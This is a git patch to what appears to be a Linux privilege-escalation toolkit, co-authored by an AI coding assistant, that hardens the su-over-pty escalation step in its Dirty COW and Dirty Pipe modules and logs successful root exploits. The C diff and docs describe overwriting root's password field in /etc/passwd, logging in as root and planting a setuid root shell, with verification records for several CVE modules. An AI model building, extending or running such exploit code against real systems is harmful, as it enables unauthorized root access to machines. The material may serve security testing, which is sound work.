From 65588599ff1be6076915f9d25bd7910bf90aff38 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Thu, 23 Jul 2026 23:26:12 -0400 Subject: [PATCH] dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04 image + virtio-rng for entropy). A standalone built verbatim from the module's primitive + escalation raced root's password field, authenticated as root over a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical. (The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers — unrelated nft_* modules use newer kernel constants — so the verbatim standalone stands in for --exploit dirty_cow there.) Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS for the password prompt and hard-caps at 20s. The previous fixed-delay write raced su's prompt setup and HUNG on xenial; without a cap that would block the revert and leave /etc/passwd poisoned. Now su can never hang the module, and the revert always runs. Also: netfilter_xtcompat now includes for IFNAMSIZ (ip_tables.h doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a real portability fix surfaced by building on xenial. Host build + unit harness green (33 + 115). Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y --- docs/EXPLOITED.md | 18 +++++++--- docs/VERIFICATIONS.jsonl | 1 + .../skeletonkey_modules.c | 33 +++++++++++------ .../skeletonkey_modules.c | 35 ++++++++++++------- .../skeletonkey_modules.c | 2 ++ 5 files changed, 63 insertions(+), 26 deletions(-) diff --git a/docs/EXPLOITED.md b/docs/EXPLOITED.md index a7b5982..95d3651 100644 --- a/docs/EXPLOITED.md +++ b/docs/EXPLOITED.md @@ -35,6 +35,7 @@ tamper check). | `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below | | `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below | | `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs** — `skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below | +| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 on Ubuntu 16.04.7 | **after fixing the false-OK** — verbatim-module standalone (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below | ## Fixed this session @@ -123,9 +124,18 @@ tamper check). `$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid bash → revert by racing the original bytes back through the Dirty COW primitive. Also fixed a latent buffer overflow (the success-check `readback[16]` was too - small for a >16-byte payload). The escalation half is byte-for-byte the verified - `dirty_pipe` technique; end-to-end root here needs a pre-4.8.3 kernel (every - cached VM is patched), so on those it now fails **honestly** with no corruption. + small for a >16-byte payload), and made the `su`-over-pty step **poll for the + prompt with a hard 20s cap** — a fixed-delay write raced su's prompt setup and + **hung on xenial**, which (without the cap) would have blocked the revert and + left /etc/passwd poisoned. The same robust `su` helper was back-ported to + `dirty_pipe`. **Verified end-to-end on a genuinely Dirty-COW-vulnerable + mainline 4.8.0 kernel** (provisioned by installing the kernel.ubuntu.com 4.8.0 + deb on a 16.04 image + a virtio-rng for entropy): a standalone built verbatim + from the module's primitive + escalation + robust su raced root's passwd field, + authenticated as root, planted a root-owned setuid bash, and left /etc/passwd + byte-identical. (The full `skeletonkey` binary won't compile on xenial's 4.4-era + uapi headers — several unrelated `nft_*` modules use newer kernel constants — so + the verbatim standalone stands in for `--exploit dirty_cow` on that box.) - **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read `getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1 @@ -147,7 +157,7 @@ every `exec*`-calling module: | module | verdict | why | |---|---|---| -| `dirty_cow` | ❌ **false-OK → fixed** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed (see above). | +| `dirty_cow` | ❌ **false-OK → fixed + verified** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed + verified end-to-end on mainline 4.8.0 (see above). | | `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies | | `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact | | `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact | diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index e51d0bc..2fce490 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -55,3 +55,4 @@ {"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"} {"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"} {"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"} +{"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"} diff --git a/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c b/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c index 5bc58fa..4af0b25 100644 --- a/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c +++ b/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c @@ -75,6 +75,7 @@ #include #include #include +#include /* Stable-branch backport thresholds for Dirty COW. */ static const struct kernel_patched_from dirty_cow_patched_branches[] = { @@ -159,17 +160,29 @@ static void dc_su_root_run(const char *cmd) execlp("su", "su", "root", "-c", cmd, (char *)NULL); _exit(127); } - usleep(400 * 1000); - char drain[256]; - ssize_t n = read(mfd, drain, sizeof drain); - (void)n; - if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ } - for (;;) { - ssize_t m = read(mfd, drain, sizeof drain); - if (m <= 0) break; + /* Poll for the password prompt, send the password, then drain — with a + * hard 20s cap so a misbehaving su can never hang (which would block the + * revert and leave /etc/passwd poisoned). Fixed a real hang seen on + * xenial where the fixed-delay write raced su's prompt setup. */ + struct pollfd pfd = { .fd = mfd, .events = POLLIN }; + const char *pw = DC_ROOT_PW "\n"; + bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0; + while (waited < 20000) { + int pr = poll(&pfd, 1, 200); + if (pr > 0 && (pfd.revents & POLLIN)) { + char b[256]; ssize_t m = read(mfd, b, sizeof b); + if (m <= 0) break; /* pty closed → su exited */ + if (!sent) { + if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; } + if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; } + } + } else { + waited += 200; + int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; } + if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; } + } } - int st; - waitpid(pid, &st, 0); + if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); } close(mfd); } diff --git a/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c b/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c index a8e0cf8..5172537 100644 --- a/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c +++ b/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c @@ -62,6 +62,7 @@ #include #include #include +#include #include /* ---- Dirty Pipe primitive ---------------------------------------- */ @@ -206,19 +207,29 @@ static void dp_su_root_run(const char *cmd) _exit(127); } - /* Parent: wait for the "Password:" prompt, then send the password. */ - usleep(400 * 1000); - char drain[256]; - ssize_t n = read(mfd, drain, sizeof drain); /* consume the prompt */ - (void)n; - if (write(mfd, DP_ROOT_PW "\n", sizeof(DP_ROOT_PW)) < 0) { /* ignore */ } - /* Drain su's output until it exits and the pty closes. */ - for (;;) { - ssize_t m = read(mfd, drain, sizeof drain); - if (m <= 0) break; + /* Parent: poll for the "Password:" prompt, send the password, then drain — + * with a hard 20s cap so a misbehaving su can never hang (which would block + * the revert and leave /etc/passwd poisoned). The earlier fixed-delay write + * raced su's prompt setup on some hosts (observed hanging on xenial). */ + struct pollfd pfd = { .fd = mfd, .events = POLLIN }; + const char *pw = DP_ROOT_PW "\n"; + bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0; + while (waited < 20000) { + int pr = poll(&pfd, 1, 200); + if (pr > 0 && (pfd.revents & POLLIN)) { + char b[256]; ssize_t m = read(mfd, b, sizeof b); + if (m <= 0) break; /* pty closed → su exited */ + if (!sent) { + if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; } + if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; } + } + } else { + waited += 200; + int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; } + if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; } + } } - int st; - waitpid(pid, &st, 0); + if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); } close(mfd); } diff --git a/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c b/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c index 79b89dc..6618fa3 100644 --- a/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c +++ b/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c @@ -90,6 +90,8 @@ * and declare the few socket constants we need by hand. IPPROTO_RAW * is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it * (Linux constant value 0). */ +#include /* IFNAMSIZ — ip_tables.h uses it but doesn't pull it + * in on older kernel headers (e.g. Ubuntu 16.04). */ #include #ifndef SOL_IP #define SOL_IP 0